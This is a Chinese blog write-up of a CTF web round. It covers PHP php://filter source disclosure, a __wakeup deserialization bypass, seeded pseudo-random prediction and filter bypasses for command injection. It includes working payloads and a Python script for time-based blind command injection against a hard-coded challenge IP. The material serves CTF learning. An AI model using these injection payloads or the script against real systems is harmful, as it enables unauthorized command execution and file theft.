zoukankan      html  css  js  c++  java
  • 网络内生安全试验场-CTF答题夺旗赛(第四季)web知识

    ##nani  文件包含和魔法函数 _WAKEUP() 的跳过

    在url中直接尝试php为协议 php://filter 拿到use.php的源码

     

     

     源码中 _wakeup()魔术方法将convent对象中的warn变量赋变为空值  // _WAKEUP()会在反序列化时触发,__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作

    所以当你覆盖warn变量时 warn同时也被赋为空 这里就需要跳过魔术方法

    参考https://www.cnblogs.com/CubicZ/p/11938419.html

    当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

     

     

    linnux目录一般再var里面

     

     

     

    直接访问txt就可拿到flag ,或者可以用file_get_contents,但是太麻烦,如果是不在这个目录的话就可以用file_get_contents

    再者 ,由于这是linux服务器 ,直接 system('ls');  然后就能查看当前目录 然后看到这个txt 或者将ls 换成dir 

     

     

    ##random    知识点伪随机数

    参考 https://www.cnblogs.com/zaqzzz/p/9997855.html

    payload

    seed=12345&key=162946439&hello=file(%27flag.php%27)

    或者hello=);print_r(file('./flag.php'));//     特别注意后面又注释  闭合前面的括号后面加个注释最好    // 在php可以注释

     

     

    ##admin   这道题就不说了bugku里面的原题 php为协议和反序列化

     

     

    ###ping   命令执行漏洞 

    参考到这篇文章 https://www.cnblogs.com/zcz1995/p/10296366.html  

    strcmp 用数组绕过 

    php为协议拿到源码

    <?php
    if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
    '&' => '',
    ';' => '',
    '|' => '',
    '-' => '',
    '$' => '',
    '(' => '',
    ')' => '',
    '`' => '',
    '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping -c 4 ' . $target );
    echo $target;
    echo "<pre>{$cmd}</pre>";
    }

    shell_exec( 'ping -c 4 ' . $target );   //命令执行漏洞 但是这里没过滤全  %0a可以

     

    直接访问就行了

     

    post1  命令执行与绕过

    参考这篇好文章!https://blog.csdn.net/silence1_/article/details/96135760

    另外  cat可以用cut代替 

    cut用法  cut -c/-b  1-100  flag.txt                    //-c 按字符分隔  -b 按字节分隔  1-100 一道100列    另外 如果不写 1-100 写成 1 或者是 2 或者是3 那么将只显示 第1 或者是 第2 或者第3 列

    直接构造payload为 a=cut${IFS}-c${IFS}1-${IFS}flag.txt      这里直接1- 表示1到最后  可以读取完

     

    post2  命令注入的盲注 还要加上第一题的绕过

    顺带提一下 盲注的语句这次是  a=`cut -c 1  flag.txt`;[ $a="str" ] && sleep 3  // 这个语句适合这道题 ,然而在实际中 ,cut -c n 是显示第n列 不只是一个字符 而是一列字符,所以脚本有待提升, 注意[]中的格式 

    参考 https://blog.csdn.net/shuai0845/article/details/86532142

    脚本

    import requests
    import string
    import time
    url='http://120.55.43.255:22712'
    str1=string.ascii_lowercase+string.ascii_uppercase+string.digits+'{'+'}'+'_'
    print(str1)
    count=0
    flag=''
    sign=0
    for i in range(1,50):
    count+=1
    payload=''
    payload+='a=`cut${IFS}-c${IFS}'
    payload+=str(count)
    payload+='${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'
    payload+='}'
    payload+='"${IFS}]${IFS}&&${IFS}sleep${IFS}3'
    data={'cmd':payload}
    a=time.time()
    r=requests.post(url,data=data)
    b=time.time()
    if(b-a)>2:
    print("find")
    flaglen=count
    print(count)
    break
    count=0
    for i in range(flaglen):
    count+=1
    sign=0
    for letter in str1:
    payload=''
    payload+='a=`cut${IFS}-c${IFS}'
    payload+=str(count)
    payload+='${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'
    payload+=letter
    payload+='"${IFS}]${IFS}&&${IFS}sleep${IFS}3'
    data={'cmd':payload}
    a=time.time()
    r=requests.post(url,data=data)
    b=time.time()
    if(b-a)>2:
    flag+=letter
    print(flag)
    break
    print(flag)

    最终跑出答案

     

     

     

  • 相关阅读:
    从1到n整数中1出现的次数
    从上往下打印二叉树
    二叉搜索树的后序遍历序列
    顺时针打印矩阵
    平衡二叉树
    反转链表
    链表中倒数第k个节点
    深入研究 Java Synchronize 和 Lock 的区别与用法
    旋转数组的最小数字
    互联网接入支付功能测试
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/12275961.html
Copyright © 2011-2022 走看看